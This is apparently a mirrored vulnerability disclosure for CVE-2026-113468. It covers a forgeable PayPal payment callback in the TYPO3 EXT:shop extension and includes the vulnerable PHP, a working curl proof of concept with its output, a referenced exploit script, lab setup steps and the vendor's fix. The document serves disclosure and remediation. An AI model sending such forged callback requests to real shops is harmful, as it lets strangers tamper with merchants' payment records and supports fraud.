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CVE-2026-113468 — forgeable PayPal payment callback in TYPO3 EXT:shop | Kitploit
Tools/GitHubGitHub/yuwkaaa/cve-2026-113468
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPapers & Research
GitHubyuwkaaa/cve-2026-113468

CVE-2026-113468

forgeable PayPal payment callback in TYPO3 EXT:shop

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CVE-2026-113468 — forgeable PayPal payment callback in TYPO3 EXT:shop

TYPO3 / coding.ms

CVE CVSS 4.0 CWE Auth

callbackAction() is the endpoint PayPal posts payment notifications to. It takes the order id from item_number and writes the whole POST body into that order's callback_parameter field. Nothing proves the message came from PayPal: no cmd=_notify-validate postback, no secret, no check of the amount or the receiver. Any visitor can overwrite the stored payment record of an unpaid order.

CVECVE-2026-113468
AdvisoryTYPO3-EXT-SA-2026-036, 2026-10-20
Packagecodingms/shop "TYPO3 Shop by coding.ms", 10,182 installs
Affected< 4.9.4 · 5.0.0 – 5.21.0 · 6.0.0 – 6.2.0
Fixed4.9.4 · 5.21.1 · 6.3.0
CWECWE-862, Missing Authorization
CVSS 4.06.9 Medium, AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Tested onTYPO3 13.4.34, PHP 8.4, shop 6.2.0
CreditNguyen Le Thanh Nam

Second CVE in the same advisory: CVE-2026-112071, unauthenticated order cancellation in the same controller.

The bug

Classes/Controller/BasketOrderController.php:1239, version 6.2.0:

$itemNumber = (int)($_POST['item_number'] ?? 0);
if ($itemNumber > 0) {
    //
    // Load related basket order
    $basketOrder = $this->basketOrderRepository->findByIdentifier($itemNumber);
    if ($basketOrder instanceof BasketOrder) {
        // But only if it's in prepared state
        if ($basketOrder->getStatus() === 'prepared') {
            ...
            // Write callback parameter into basket order
            $basketOrder->setCallbackParameter($this->jsonEncode($_POST, true));
            $this->basketOrderRepository->update($basketOrder);
            $this->persistenceManager->persistAll();

stripeCallbackAction(), twelve lines above in the same file, verifies its webhook signature and returns 403 when it fails. The PayPal path has nothing equivalent.

callback_parameter is the shop's record of what the payment provider said about an order, which is what a merchant reads when a payment is disputed. On an affected version a stranger decides its contents.

Two conditions bound it: the target order must be in prepared state, and the page must carry the BasketOrder plugin.

PoC

curl -X POST 'http://127.0.0.1:8081/' \
  --data 'tx_shop_basketorder[action]=callback' \
  --data 'tx_shop_basketorder[controller]=BasketOrder' \
  --data 'item_number=1' \
  --data 'payment_status=Completed' \
  --data 'mc_gross=999999.00' \
  --data '[email protected]'
[poc] FINDING 2  callbackAction(): unauthenticated write of attacker data into an order
        before:  order 1 callback_parameter length=0   order 2 length=0
        HTTP 200   order 1 callback_parameter length: 0 -> 236
[poc]   FIRED  an unauthenticated request wrote attacker-supplied data into the order

what the attacker stored on order 1: {
    "tx_shop_basketorder": {
        "action": "callback",
        "controller": "BasketOrder"
    },
    "item_number": "1",
    "payment_status": "Completed",
    "mc_gross": "999999.00",
    "receiver_email": "[email protected]"
}

Controls from the same run: order 2 is paid and nothing is written, and dropping item_number writes nothing. Full output in poc-transcript.txt.

exploit.py sends the same request against a host you own. Dry run by default:

python3 exploit.py http://shop.example/checkout --order 42 --fire

The response is HTTP 200 either way. Confirm by reading tx_shop_domain_model_basketorder.callback_parameter.

After the write, callbackAction() forwards to orderAction() with confirmed => true. Whether that finishes the order runs through CodingMs\ShopPro\Service\Checkout\PayPalCheckoutCheckoutService, which ships in a separate commercial extension that was not in the lab, so it was not tested. The order stayed prepared in every run.

Lab

Building the lab

  1. TYPO3 13.4.x classic mode from get.typo3.org/13/tar.gz, no Composer needed.
  2. shop from the released Packagist artefact, plus codingms/additional-tca and codingms/modules.
  3. Include EXT:shop/Configuration/TypoScript/ in the root template.
  4. Put a shop_basketorder content element on a page.
  5. Insert a row in tx_shop_domain_model_basketorder with status = 'prepared'.
  6. Serve with php -S, PHP intl loaded.

Skip step 3 and every request returns 404, which looks like a site that is not vulnerable.

Fix

6.3.0 authenticates the notification before storing it:

if (!$this->isValidPayPalIpn($_POST, $basketOrder->getType())) {
    $this->log('callbackAction 6: PayPal IPN could not be verified!');
    $this->addFlashMessage('Unknown error! #4', 'Error:', ContextualFeedbackSeverity::ERROR);
    return new ForwardResponse('error');
}

isValidPayPalIpn() posts the payload back to PayPal and requires VERIFIED. A verified message still only proves PayPal sent it, so isMatchingPayPalPayment() then binds it to the order: payment_status must be Completed, the receiver must match the configured payPalId, the currency must match, and mc_gross must equal the order total to the cent. Both refuse when the configuration is missing.

Order finalisation moved behind BasketOrderHmacService, which signs the order uid with the site encryptionKey. Full diff in fix-6.2.0-to-6.3.0.diff, taken from the released 6.3.0 artefact. That patch was read only; the PoC was not re-run against it.

References

  • TYPO3-EXT-SA-2026-036
  • CVE-2026-113468
  • codingms/shop on Packagist

Reported to [email protected]. Fixed versions by Thomas Deuling (coding.ms), advisory by Torben Hansen (TYPO3 Security Team).

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